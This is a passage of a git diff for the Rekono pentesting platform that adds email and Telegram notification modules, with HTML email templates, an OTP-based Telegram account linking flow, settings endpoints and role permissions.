execution.configuration, + **findings_by_class, + }, + ) + + def invite_user(self, user: Any) -> None: + self._send_messages( + [user], "Welcome to Rekono", "user_invitation.html", {"user": user} + ) + + def reset_password(self, user: Any) -> None: + self._send_messages( + [user], "Reset Rekono password", "user_password_reset.html", {"user": user} + ) + + def enable_user_account(self, user: Any) -> None: + self._send_messages( + [user], "Rekono user enabled", "user_enable_account.html", {"user": user} + ) + + def login_notification(self, user: Any) -> None: + self._send_messages( + [user], + "New login in your Rekono account", + "user_login_notification.html", + data={"time": timezone.now().strftime(self.datetime_format)}, + ) + + def telegram_linked_notification(self, user: Any) -> None: + self._send_messages( + [user], + "Welcome to Rekono Bot", + "user_telegram_linked_notification.html", + data={"time": timezone.now().strftime(self.datetime_format)}, + ) diff --git a/src/backend/platforms/mail/serializers.py b/src/backend/platforms/mail/serializers.py new file mode 100644 index 000000000..14570621e --- /dev/null +++ b/src/backend/platforms/mail/serializers.py @@ -0,0 +1,21 @@ +from framework.fields import ProtectedSecretField +from platforms.mail.models import SMTPSettings +from platforms.mail.notifications import SMTP +from rest_framework.serializers import ModelSerializer, SerializerMethodField +from security.utils.input_validator import Regex, Validator + + +class SMTPSettingsSerializer(ModelSerializer): + password = ProtectedSecretField( + Validator(Regex.SECRET.value, code="password").__call__, + required=False, + allow_null=True, + ) + is_available = SerializerMethodField(method_name="is_available", read_only=True) + + class Meta: + model = SMTPSettings + fields = ("id", "host", "port", "username", "password", "tls") + + def is_available(self, instance: SMTPSettings) -> bool: + return SMTP().is_available() diff --git a/src/backend/platforms/mail/templates/execution_notification.html b/src/backend/platforms/mail/templates/execution_notification.html new file mode 100644 index 000000000..6d887d411 --- /dev/null +++ b/src/backend/platforms/mail/templates/execution_notification.html @@ -0,0 +1,301 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+

{{ execution.task.target.project.name }}

+
+
+
+
+
+

Target

+

{{ execution.task.target.target }}

+
+
+

Tool

+
+ {% if tool.icon %} + {{ tool.name }} + {% endif %} + {{ tool.name }} +
+
+
+

Configuration

+

{{ configuration.name }}

+
+
+
+
+

Status

+

{{ execution.status }}

+
+
+

Start

+

{{ execution.start }}

+
+
+

End

+

{{ execution.end }}

+
+
+

Executor

+

{{ execution.task.executor.username }}

+
+
+
+
+
+ + Review all details +
+
+
+
+
+ {% if osint %} + + + + + + + + + + + {% for o in osint %} + + + + + + {% endfor %} + +
OSINT
DataData typeSource
{{ o.data }}{{ o.data_type }}{{ o.source }}
+ {% endif %} +
+ {% if host %} + + + + + + + + + + + {% for h in host %} + + + + + + {% endfor %} + +
Hosts
AddressOSOS type
{{ h.address }}{{ h.os }}{{ h.os_type }}
+ {% endif %} +
+ {% if port %} + + + + + + + + + + + + + {% for e in port %} + + {% if e.host %} + + {% else %} + + {% endif %} + + + + + + {% endfor %} + +
Ports
HostPortStatusProtocolService
{{ e.host.address }}{{ e.port }}{{ e.status }}{{ e.protocol }}{{ e.service }}
+ {% endif %} +
+ {% if path %} + + + + + + + + + + + + + {% for e in path %} + + {% if e.port and e.port.host %} + + {% elif e.port %} + + {% else %} + + {% endif %} + + + + + + {% endfor %} + +
Paths
PortTypePathStatusExtra
{{ e.port.host.address }} - {{ e.port.port }}{{ e.port.port }}{{ e.type }}{{ e.path }}{{ e.status }}{{ e.extra }}
+ {% endif %} +
+ {% if technology %} + + + + + + + + + + + {% for t in technology %} + + {% if t.port and t.port.host %} + + {% elif t.port %} + + {% else %} + + {% endif %} + + + + {% endfor %} + +
Technologies
PortNameVersion
{{ t.port.host.address }} - {{ t.port.port }}{{ t.port.port }}{{ t.name }}{{ t.version }}
+ {% endif %} +
+ {% if credential %} + + + + + + + + + + + + {% for c in credential %} + + + + + + + {% endfor %} + +
Credentials
EmailUsernameSecretContext
{{ c.email }}{{ c.username }}{{ c.secret }}{{ c.secret }}
+ {% endif %} +
+ {% if vulnerability %} + + + + + + + + + + + + + + {% for v in vulnerability %} + + {% if v.technology %} + + {% else %} + + {% endif %} + {% if v.port and v.port.host %} + + {% elif v.port %} + + {% else %} + + {% endif %} + + + + {% if v.reference %} + + + {% else %} + + {% endif %} + + {% endfor %} + +
Vulnerabilities
TecnhologyPortNameSeverityCVEReference
{{ v.technology.name }}{{ v.port.host.address }} - {{ v.port.port }}{{ v.port.port }}{{ v.name }}{{ v.severity }}{{ v.cve }}Link
+ {% endif %} +
+ {% if exploit %} + + + + + + + + + + + + {% for e in exploit %} + + {% if e.vulnerability %} + + {% else %} + + {% endif %} + {% if e.technology %} + + {% else %} + + {% endif %} + + + + + {% endfor %} + +
Exploits
VulnerabilityTechnologyTitleExploit DB
{{ e.vulnerability.name }}{{ e.technology.name }}{{ e.title }}{{ e.edb_id }}
+ {% endif %} +
+ + \ No newline at end of file diff --git a/src/backend/platforms/mail/templates/user_enable_account.html b/src/backend/platforms/mail/templates/user_enable_account.html new file mode 100644 index 000000000..e1523d664 --- /dev/null +++ b/src/backend/platforms/mail/templates/user_enable_account.html @@ -0,0 +1,26 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+ {% if user.first_name %} +

Welcome {{ user.first_name }}!

+ {% else %} +

Welcome {{ user.username }}!

+ {% endif %} +

Your Rekono user has been enabled. Please, follow this link to establish your password.

+ + Set password +
+
+ + \ No newline at end of file diff --git a/src/backend/platforms/mail/templates/user_invitation.html b/src/backend/platforms/mail/templates/user_invitation.html new file mode 100644 index 000000000..9981e21f0 --- /dev/null +++ b/src/backend/platforms/mail/templates/user_invitation.html @@ -0,0 +1,22 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+

Welcome to Rekono!

+

You have been invited to Rekono. Please, follow this link to create your account.

+ + Signup +
+
+ + \ No newline at end of file diff --git a/src/backend/platforms/mail/templates/user_login_notification.html b/src/backend/platforms/mail/templates/user_login_notification.html new file mode 100644 index 000000000..cffc90d8c --- /dev/null +++ b/src/backend/platforms/mail/templates/user_login_notification.html @@ -0,0 +1,24 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+

New login on your Rekono account

+
+

A new login on your Rekono account has been detected at {{ time }}.

+ +

If you didn't login in Rekono, please reset your password.

+
+
+
+ + \ No newline at end of file diff --git a/src/backend/platforms/mail/templates/user_password_reset.html b/src/backend/platforms/mail/templates/user_password_reset.html new file mode 100644 index 000000000..53a06d008 --- /dev/null +++ b/src/backend/platforms/mail/templates/user_password_reset.html @@ -0,0 +1,22 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+

Reset your password

+

Please, follow this link to reset your password.

+ + Reset password +
+
+ + \ No newline at end of file diff --git a/src/backend/platforms/mail/templates/user_telegram_linked_notification.html b/src/backend/platforms/mail/templates/user_telegram_linked_notification.html new file mode 100644 index 000000000..ff770e6fd --- /dev/null +++ b/src/backend/platforms/mail/templates/user_telegram_linked_notification.html @@ -0,0 +1,24 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+

Welcome to the Rekono bot

+
+

Your Rekono account has been linked to the Rekono bot at {{ time }}.

+ +

If you didn't link your Rekono account, please reset your password.

+
+
+
+ + \ No newline at end of file diff --git a/src/backend/platforms/mail/urls.py b/src/backend/platforms/mail/urls.py new file mode 100644 index 000000000..d0fad2db8 --- /dev/null +++ b/src/backend/platforms/mail/urls.py @@ -0,0 +1,9 @@ +from platforms.mail.views import SMTPSettingsViewSet +from rest_framework.routers import SimpleRouter + +# Register your views here. + +router = SimpleRouter() +router.register("smtp/settings", SMTPSettingsViewSet) + +urlpatterns = router.urls diff --git a/src/backend/platforms/mail/views.py b/src/backend/platforms/mail/views.py new file mode 100644 index 000000000..6fcedd553 --- /dev/null +++ b/src/backend/platforms/mail/views.py @@ -0,0 +1,14 @@ +from framework.views import BaseViewSet +from platforms.mail.models import SMTPSettings +from platforms.mail.serializers import SMTPSettingsSerializer + +# Create your views here. + + +class SMTPSettingsViewSet(BaseViewSet): + queryset = SMTPSettings.objects.all() + serializer_class = SMTPSettingsSerializer + http_method_names = [ + "get", + "put", + ] diff --git a/src/backend/integrations/nvd_nist.py b/src/backend/platforms/nvd_nist.py similarity index 97% rename from src/backend/integrations/nvd_nist.py rename to src/backend/platforms/nvd_nist.py index 7571343bb..14a2c1c39 100644 --- a/src/backend/integrations/nvd_nist.py +++ b/src/backend/platforms/nvd_nist.py @@ -21,6 +21,7 @@ def __init__(self) -> None: } def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + super().process_findings(execution, findings) for finding in findings: if isinstance(finding, Vulnerability) and finding.cve: try: diff --git a/src/backend/platforms/telegram_app/__init__.py b/src/backend/platforms/telegram_app/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/platforms/telegram_app/admin.py b/src/backend/platforms/telegram_app/admin.py new file mode 100644 index 000000000..e27e0b679 --- /dev/null +++ b/src/backend/platforms/telegram_app/admin.py @@ -0,0 +1,7 @@ +from django.contrib import admin +from platforms.telegram_app.models import TelegramChat, TelegramSettings + +# Register your models here. + +admin.site.register(TelegramSettings) +admin.site.register(TelegramChat) diff --git a/src/backend/platforms/telegram_app/apps.py b/src/backend/platforms/telegram_app/apps.py new file mode 100644 index 000000000..694d86330 --- /dev/null +++ b/src/backend/platforms/telegram_app/apps.py @@ -0,0 +1,20 @@ +from typing import Any + +from django.db.models.signals import post_migrate +from framework.apps import BaseApp + + +class TelegramAppConfig(BaseApp): + name = "telegram_app" + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Configure fixtures to be loaded after migration + post_migrate.connect(self._load_fixtures, sender=self) + + def _load_fixtures(self, **kwargs: Any) -> None: + from platforms.telegram_app.models import TelegramSettings + + if TelegramSettings.objects.exists(): + return + return super()._load_fixtures(**kwargs) diff --git a/src/backend/platforms/telegram_app/fixtures/1_default.json b/src/backend/platforms/telegram_app/fixtures/1_default.json new file mode 100644 index 000000000..b83f10d53 --- /dev/null +++ b/src/backend/platforms/telegram_app/fixtures/1_default.json @@ -0,0 +1,9 @@ +[ + { + "model": "telegram_app.TelegramSettings", + "pk": 1, + "fields": { + "token": null + } + } +] \ No newline at end of file diff --git a/src/backend/platforms/telegram_app/framework.py b/src/backend/platforms/telegram_app/framework.py new file mode 100644 index 000000000..2f38828e9 --- /dev/null +++ b/src/backend/platforms/telegram_app/framework.py @@ -0,0 +1,26 @@ +import logging +from typing import Any + +from platforms.telegram_app.models import TelegramSettings +from telegram.error import Forbidden, InvalidToken +from telegram.ext import Updater + +logger = logging.getLogger() + + +class BaseTelegram: + def __init__(self) -> None: + self.settings = TelegramSettings.objects.first() + self.updater = self._get_updater() + self.date_format = "%Y-%m-%d %H:%M:%S" + + def _get_updater(self) -> Any: + if self.settings.token: + try: + return Updater(token=self.settings.token) + except (InvalidToken, Forbidden): + logger.error("[Telegram] Authentication error") + self.settings.token = None + self.settings.save(update_fields=["token"]) + except Exception: + logger.error("[Telegram] Error creating updater") diff --git a/src/backend/platforms/telegram_app/models.py b/src/backend/platforms/telegram_app/models.py new file mode 100644 index 000000000..27b0138ed --- /dev/null +++ b/src/backend/platforms/telegram_app/models.py @@ -0,0 +1,37 @@ +from django.db import models +from framework.models import BaseModel +from rekono.settings import AUTH_USER_MODEL +from security.utils.input_validator import Regex, Validator +from users.models import User + +# Create your models here. + + +class TelegramSettings(BaseModel): + # TODO: encrypt and decrypt secret for more security + token = models.TextField( + max_length=200, + validators=[Validator(Regex.SECRET.value, code="api_token")], + null=True, + blank=True, + ) + + +class TelegramChat(BaseModel): + user = models.OneToOneField( + AUTH_USER_MODEL, + on_delete=models.CASCADE, + related_name="telegram_chat", + blank=True, + null=True, + ) + chat_id = models.IntegerField(unique=True) + creation = models.DateTimeField(auto_now_add=True) + # One Time Password to link user account + otp = models.TextField(max_length=200, unique=True, blank=True, null=True) + otp_expiration = models.DateTimeField( + default=User.objects.get_otp_expiration_time, blank=True, null=True + ) + + def __str__(self) -> str: + return self.user.__str__() diff --git a/src/backend/platforms/telegram_app/notifications.py b/src/backend/platforms/telegram_app/notifications.py new file mode 100644 index 000000000..71a3ee7a1 --- /dev/null +++ b/src/backend/platforms/telegram_app/notifications.py @@ -0,0 +1,80 @@ +from typing import List + +from executions.models import Execution +from findings.framework.models import Finding +from framework.platforms import BaseNotification +from platforms.telegram_app.framework import BaseTelegram +from platforms.telegram_app.models import TelegramChat +from platforms.telegram_app.templates import EXECUTION, FINDINGS, HEADER +from telegram.constants import ParseMode +from telegram.helpers import escape_markdown +from users.models import User + + +class Telegram(BaseTelegram, BaseNotification): + enable_field = "telegram_notifications" + + def is_available(self) -> bool: + return bool(self.updater) + + def get_bot_name(self) -> str: + return self.updater.bot.username if self.is_available() else None + + def _send_message(self, chat: TelegramChat, message: str) -> None: + if self.is_available(): + self.updater.bot.send_message( + chat.chat_id, text=message, parse_mode=ParseMode.MARKDOWN_V2 + ) + + def _notify_execution( + self, users: List[User], execution: Execution, findings: List[Finding] + ) -> None: + texts_by_type = {} + for finding in findings: + if finding.__class__ not in texts_by_type: + texts_by_type[finding.__class__] = [] + texts_by_type[finding.__class__].append( + FINDINGS[finding.__class__] + .get("template", "") + .format( + { + k: escape_markdown( + str(v) or "" if not isinstance(v, Finding) else v.__str__(), + version=2, + ) + for k, v in finding.__dict__.items() + } + ) + ) + message = EXECUTION.format( + project=escape_markdown(execution.task.target.project.name, version=2), + target=escape_markdown(execution.task.target.target, version=2), + tool=escape_markdown(execution.configuration.tool.name, version=2), + configuration=escape_markdown(execution.configuration.name, version=2), + status=escape_markdown(execution.status, version=2), + start=escape_markdown( + execution.start.strftime(self.date_format), version=2 + ), + end=escape_markdown(execution.end.strftime(self.date_format), version=2), + executor=escape_markdown(execution.task.executor.username, version=2), + findings="\n\n".join( + [ + HEADER.format( + icon=FINDINGS[finding_type].get("icon", ""), + title=finding_type.__name__, + details="\n\n".join(texts), + ) + for finding_type, texts in texts_by_type.items() + ] + ), + ) + for user in users: + self._send_message(user.telegram_chat, message) + + def welcome_message(self, chat: TelegramChat) -> None: + self._send_message( + chat, + escape_markdown( + f"Welcome {chat.user.username}\! Your Rekono bot is ready", version=2 + ), + ) diff --git a/src/backend/platforms/telegram_app/serializers.py b/src/backend/platforms/telegram_app/serializers.py new file mode 100644 index 000000000..12136bc76 --- /dev/null +++ b/src/backend/platforms/telegram_app/serializers.py @@ -0,0 +1,71 @@ +import logging +from typing import Any, Dict + +from django.utils import timezone +from framework.fields import ProtectedSecretField +from platforms.mail.notifications import SMTP +from platforms.telegram_app.models import TelegramChat, TelegramSettings +from platforms.telegram_app.notifications import Telegram +from rest_framework import status +from rest_framework.exceptions import AuthenticationFailed +from rest_framework.serializers import ModelSerializer, SerializerMethodField +from security.utils.input_validator import Regex, Validator + +logger = logging.getLogger() + + +class TelegramSettingsSerializer(ModelSerializer): + token = ProtectedSecretField( + Validator(Regex.SECRET.value, code="password").__call__, + required=False, + allow_null=True, + ) + bot = SerializerMethodField(method_name="get_bot_name", read_only=True) + is_available = SerializerMethodField(method_name="is_available", read_only=True) + + class Meta: + model = TelegramSettings + fields = ("id", "bot", "token") + + def get_bot_name(self, instance: TelegramSettings) -> str: + return Telegram().get_bot_name() + + def is_available(self, instance: TelegramSettings) -> bool: + return Telegram().is_available() + + +class TelegramChatSerializer(ModelSerializer): + class Meta: + model = TelegramChat + fields = ( + "otp", + "user", + ) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + try: + attrs["telegram_chat"] = TelegramChat.objects.get( + otp=attrs.get("otp"), + otp_expiration__gt=timezone.now(), + user=None, + ) + except TelegramChat.DoesNotExist: + raise AuthenticationFailed( + "Invalid Telegram OTP", code=status.HTTP_401_UNAUTHORIZED + ) + + def create(self, validated_data: Dict[str, Any]) -> TelegramChat: + validated_data["telegram_chat"].otp = None + validated_data["telegram_chat"].otp_expiration = None + validated_data["telegram_chat"].user = validated_data["user"] + validated_data["telegram_chat"].save( + update_fields=["otp", "otp_expiration", "user"] + ) + SMTP().telegram_linked_notification(validated_data["user"]) + Telegram().welcome_message(validated_data["telegram_chat"]) + logger.info( + f"[Security] User {validated_data['user'].id} has logged in the Telegram bot", + extra={"user": validated_data["user"].id}, + ) + return validated_data["telegram_chat"] diff --git a/src/backend/platforms/telegram_app/templates.py b/src/backend/platforms/telegram_app/templates.py new file mode 100644 index 000000000..8145a8559 --- /dev/null +++ b/src/backend/platforms/telegram_app/templates.py @@ -0,0 +1,109 @@ +from findings.models import ( + OSINT, + Credential, + Exploit, + Host, + Path, + Port, + Technology, + Vulnerability, +) + +EXECUTION = """ +*{project}* + +🎯 _Target_ *{target}* +🛠 _Tool_ *{tool}* +⚙️ _Configuration_ {configuration} +✅ _Status_ *{status}* +🔜 _Start_ {start} +🔚 _End_ {end} +👤 _Executor_ {executor} + +{findings} +""" + +HEADER = """ +\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ + +{icon} *{title}* + +{details} +""" + +FINDINGS = { + OSINT: { + "icon": "📖", + "template": """ +_Data_ *{data}* +_Data type_ {data_type} +_Source_ {source} +""", + }, + Host: { + "icon": "🖥", + "template": """ +_Address_ *{address}* +_OS_ {os} +_OS type_ {os_type} +""", + }, + Port: { + "icon": "📥", + "template": """ +_Host_ {host} +_Port_ *{port}* +_Status_ {status} +_Protocol_ {protocol} +_Service_ {service} +""", + }, + Path: { + "icon": "🛣", + "template": """ +_Port_ {port} +_Type_ {type} +_Path_ *{path}* +_Status_ {status} +_Extra_ {extra} +""", + }, + Technology: { + "icon": "🖲", + "template": """ +_Port_ {port} +_Name_ *{name}* +_Version_ {version} +""", + }, + Credential: { + "icon": "🔑", + "template": """ +_Email_ *{email}* +_Username_ *{username}* +_Secret_ *{secret}* +_Context_ {context} +""", + }, + Vulnerability: { + "icon": "🐛", + "template": """ +_Port_ {port} +_Technology_ {technology} +_Name_ *{name}* +_Description_ {description} +_Severity_ {severity} +_CVE_ *{cve}* +_Reference_ {reference} +""", + }, + Exploit: { + "icon": "💣", + "template": """ +_Vulnerability_ {vulnerability} +_Technology_ {technology} +_Title_ *{title}* +_Reference_ {reference} +""", + }, +} diff --git a/src/backend/platforms/telegram_app/urls.py b/src/backend/platforms/telegram_app/urls.py new file mode 100644 index 000000000..bbc6ab494 --- /dev/null +++ b/src/backend/platforms/telegram_app/urls.py @@ -0,0 +1,10 @@ +from platforms.telegram_app.views import TelegramChatViewSet, TelegramSettingsViewSet +from rest_framework.routers import SimpleRouter + +# Register your views here. + +router = SimpleRouter() +router.register("telegram/settings", TelegramSettingsViewSet) +router.register("telegram/link", TelegramChatViewSet) + +urlpatterns = router.urls diff --git a/src/backend/platforms/telegram_app/views.py b/src/backend/platforms/telegram_app/views.py new file mode 100644 index 000000000..91aaf36ad --- /dev/null +++ b/src/backend/platforms/telegram_app/views.py @@ -0,0 +1,24 @@ +from framework.views import BaseViewSet +from platforms.telegram_app.models import TelegramChat, TelegramSettings +from platforms.telegram_app.serializers import ( + TelegramChatSerializer, + TelegramSettingsSerializer, +) + +# Create your views here. + + +class TelegramSettingsViewSet(BaseViewSet): + queryset = TelegramSettings.objects.all() + serializer_class = TelegramSettingsSerializer + http_method_names = [ + "get", + "put", + ] + + +class TelegramChatViewSet(BaseViewSet): + queryset = TelegramChat.objects.all() + serializer_class = TelegramChatSerializer + http_method_names = ["post", "delete"] + owner_field = "user" diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index 970d02b81..e92bf59e0 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -3,7 +3,7 @@ from django.db import transaction from framework.fields import TagField -from integrations.defect_dojo.serializers import DefectDojoSyncSerializer +from platforms.defect_dojo.serializers import DefectDojoSyncSerializer from projects.models import Project from rest_framework.serializers import IntegerField, ModelSerializer, Serializer from taggit.serializers import TaggitSerializer diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 8a2131a49..e1a921ce5 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -13,10 +13,8 @@ import os from datetime import timedelta from typing import Any, Dict -from urllib.parse import urlparse from rekono.config import RekonoConfig -from security.authorization.roles import Role ################################################################################ # Rekono basic information # @@ -56,7 +54,9 @@ "executions", "findings", "input_types", - "integrations.defect_dojo", + "platforms.defect_dojo", + "platforms.mail", + "platforms.telegram_app", "parameters", "processes", "projects", @@ -86,7 +86,7 @@ TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", - "DIRS": [], + "DIRS": [os.path.join(BASE_DIR, "notifications", "mail", "templates")], "APP_DIRS": True, "OPTIONS": { "context_processors": [ @@ -293,7 +293,8 @@ "tasks-queue": default_rq_queue, "executions-queue": default_rq_queue, "findings-queue": default_rq_queue, - "emails-queue": default_rq_queue, + # TODO: Try to remove + # "emails-queue": default_rq_queue, } RQ_QUEUES["executions-queue"]["DEFAULT_TIMEOUT"] = 28800 # 8 hours diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index d0991f739..1996bbfd4 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -29,7 +29,9 @@ path("api/", include("authentications.urls")), path("api/", include("executions.urls")), path("api/", include("findings.urls")), - path("api/", include("integrations.defect_dojo.urls")), + path("api/", include("platforms.defect_dojo.urls")), + path("api/", include("platforms.mail.urls")), + path("api/", include("platforms.telegram_app.urls")), path("api/", include("parameters.urls")), path("api/", include("processes.urls")), path("api/", include("projects.urls")), diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py index 6505124b4..2b3281b58 100644 --- a/src/backend/security/authentication/serializers.py +++ b/src/backend/security/authentication/serializers.py @@ -1,6 +1,7 @@ import logging from typing import Any, Dict +from platforms.mail.notifications import SMTP from rest_framework.serializers import CharField, Serializer from rest_framework_simplejwt.serializers import TokenObtainPairSerializer from rest_framework_simplejwt.tokens import RefreshToken @@ -12,8 +13,8 @@ class LoginSerializer(TokenObtainPairSerializer): def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - attrs = super().validate(attrs) # User login - # TODO: Send email notification to the user + attrs = super().validate(attrs) + SMTP().login_notification(self.user) logger.info( f"[Security] User {self.user.id} has logged in", extra={"user": self.user.id}, diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index 90f7b5745..69ac4fdf6 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -1,5 +1,6 @@ -from typing import Any +from typing import Any, Tuple +from platforms.telegram_app.models import TelegramChat from processes.models import Process, Step from rest_framework.permissions import BasePermission from rest_framework.request import Request @@ -79,7 +80,7 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: class OwnerPermission(BasePermission): """Check if current user can access an object based on HTTP method and creator user.""" - def get_instance(self, obj: Any) -> Any: # pragma: no cover + def get_details(self, obj: Any) -> Tuple[Any, str, bool]: # pragma: no cover """Get object with creator user from object accessed by the current user. To be implemented by subclasses. Args: @@ -89,9 +90,11 @@ def get_instance(self, obj: Any) -> Any: # pragma: no cover Any: Object with creator user """ if obj.__class__ in [Wordlist, Process]: - return obj + return obj, "owner", True elif obj.__class__ == Step: - return obj.process + return obj.process, "owner", True + elif obj.__class__ == TelegramChat: + return obj, "user", "False" def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: """Check if current user can access an object based on HTTP method and creator user. @@ -104,10 +107,10 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: Returns: bool: Indicate if user is authorized to make this request or not """ - instance = self.get_instance(obj) # Get object with creator user + instance, field, allow_admin = self.get_details(obj) return ( not instance or request.method == "GET" - or instance.owner == request.user - or IsAdmin().has_permission(request, view) + or getattr(instance, field) == request.user + or (allow_admin and IsAdmin().has_permission(request, view)) ) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index 09cb6d100..6de48f3cf 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -196,4 +196,22 @@ class Role(models.TextChoices): "change": [], "delete": [], }, + "smtpsettings": { + "view": [Role.ADMIN], + "add": [], + "change": [Role.ADMIN], + "delete": [], + }, + "telegramsettings": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN], + "delete": [], + }, + "telegramchat": { + "view": [], + "add": [Role.ADMIN, Role.AUDITOR, Role.READER], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR, Role.READER], + }, } diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index 16e4739d3..b0600d6f9 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -1,6 +1,6 @@ from typing import Any, Dict -from integrations.defect_dojo.serializers import DefectDojoTargetSyncSerializer +from platforms.defect_dojo.serializers import DefectDojoTargetSyncSerializer from rest_framework.serializers import ModelSerializer from targets.models import Target diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 42aa6c2a8..1a84f8086 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -6,6 +6,7 @@ from django.db import models from django.utils import timezone from framework.models import BaseModel +from platforms.mail.notifications import SMTP from rekono.settings import CONFIG from security.authentication.api import ApiToken from security.authorization.roles import Role @@ -24,7 +25,7 @@ class RekonoUserManager(UserManager): def _generate_otp(self) -> str: return hash(generate_random_value(3000)) - def _get_otp_expiration_time(self) -> datetime: + def get_otp_expiration_time(self) -> datetime: return timezone.now() + timedelta(hours=CONFIG.otp_expiration_hours) def assign_role(self, user: Any, role: Role) -> None: @@ -54,11 +55,11 @@ def invite_user(self, email: str, role: Role) -> Any: user = User.objects.create( email=email, otp=self._generate_otp(), - otp_expiration=self._get_otp_expiration_time(), + otp_expiration=self.get_otp_expiration_time(), is_active=None, ) self.assign_role(user, role) - # TODO: Send user invitation + SMTP().invite_user(user) logger.info(f"[User] User {user.id} has been invited with role {role}") return user @@ -118,10 +119,10 @@ def enable_user(self, user: Any) -> Any: Any: Enabled user """ user.otp = self._generate_otp() # Generate its OTP - user.otp_expiration = self._get_otp_expiration_time() # Set OTP expiration + user.otp_expiration = self.get_otp_expiration_time() # Set OTP expiration user.is_active = True user.save(update_fields=["otp", "otp_expiration", "is_active"]) - # TODO: Send email to enable user + SMTP().enable_user_account(user) logger.info(f"[User] User {user.id} has been enabled") return user @@ -157,9 +158,9 @@ def request_password_reset(self, user: Any) -> Any: Any: User after request password reset """ user.otp = self._generate_otp() # Generate its OTP - user.otp_expiration = self._get_otp_expiration_time() # Set OTP expiration + user.otp_expiration = self.get_otp_expiration_time() # Set OTP expiration user.save(update_fields=["otp", "otp_expiration"]) - # TODO: Send email to reset password + SMTP().reset_password(user) logger.info( f"[User] User {user.id} requested a password reset", extra={"user": user.id} ) diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index b0ced892c..fb78ab6d6 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -103,11 +103,6 @@ def update(self, instance: User, validated_data: Dict[str, Any]) -> User: class ProfileSerializer(UserSerializer): """Serializer to manage user profile via API.""" - # Field that indicates if the user has configured Telegram bot yet or not - # telegram_configured = SerializerMethodField(method_name="get_telegram_configured") - - # TODO: Telegram link - class Meta: model = User fields = ( @@ -119,32 +114,20 @@ class Meta: "date_joined", "last_login", "role", - # "telegram_configured", + "telegram_chat", "notification_scope", "email_notifications", "telegram_notifications", ) - # Read only fields read_only_fields = ( "username", "email", "date_joined", "last_login", "role", - # "telegram_configured", + "telegram_chat", ) - # def get_telegram_configured(self, instance: User) -> bool: - # """Check if user has configured Telegam bot yet or not. - - # Args: - # instance (User): User to check Telegram bot configuration - - # Returns: - # bool: Indicate if Telegram bot has been configured - # """ - # return hasattr(instance, "telegram_chat") and instance.telegram_chat is not None - class PasswordSerializer(UserSerializer): class Meta: @@ -322,69 +305,3 @@ def save(self, **kwargs: Any) -> User: return user except User.DoesNotExist: return None - - -# TODO: Telegram link - -# class TelegramBotSerializer(Serializer): -# """Serializer to configure Telegram Bot via API.""" - -# # One Time Password used to link account to the Telegram Bot -# otp = CharField(max_length=200, required=True) - -# def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: -# """Validate the provided data before use it. - -# Args: -# attrs (Dict[str, Any]): Provided data - -# Raises: -# ValidationError: Raised if provided data is invalid -# AuthenticationFailed: Raised if Telegram OTP is invalid - -# Returns: -# Dict[str, Any]: Data after validation process -# """ -# attrs = super().validate(attrs) -# try: -# # Search Telegram chat by otp -# attrs["telegram_chat"] = TelegramChat.objects.get( -# otp=attrs.get("otp"), otp_expiration__gt=timezone.now() -# ) -# except TelegramChat.DoesNotExist: # Invalid otp -# raise AuthenticationFailed( -# "Invalid Telegram OTP", code=status.HTTP_401_UNAUTHORIZED -# ) -# return attrs - -# @transaction.atomic() -# def update(self, instance: User, validated_data: Dict[str, Any]) -> User: -# """Update instance from validated data. - -# Args: -# instance (User): Instance to update -# validated_data (Dict[str, Any]): Validated data - -# Returns: -# User: Updated instance -# """ -# validated_data["telegram_chat"].otp = None # Set otp to null -# validated_data[ -# "telegram_chat" -# ].otp_expiration = None # Set otp expiration to null -# validated_data[ -# "telegram_chat" -# ].user = instance # Link Telegram chat Id to the user -# validated_data["telegram_chat"].save( -# update_fields=["otp", "otp_expiration", "user"] -# ) -# user_telegram_linked_notification( -# instance -# ) # Send email notification to the user -# # Send Telegram notification to the user -# telegram_sender.send_message(validated_data["telegram_chat"].chat_id, LINKED) -# logger.info( -# f"[Security] User {instance.id} has logged in the Telegram bot", -# extra={"user": instance.id}, -# ) -# return instance diff --git a/src/config.yaml b/src/config.yaml index f8c69ead8..42459b78d 100644 --- a/src/config.yaml +++ b/src/config.yaml @@ -16,12 +16,6 @@ database: rq: host: 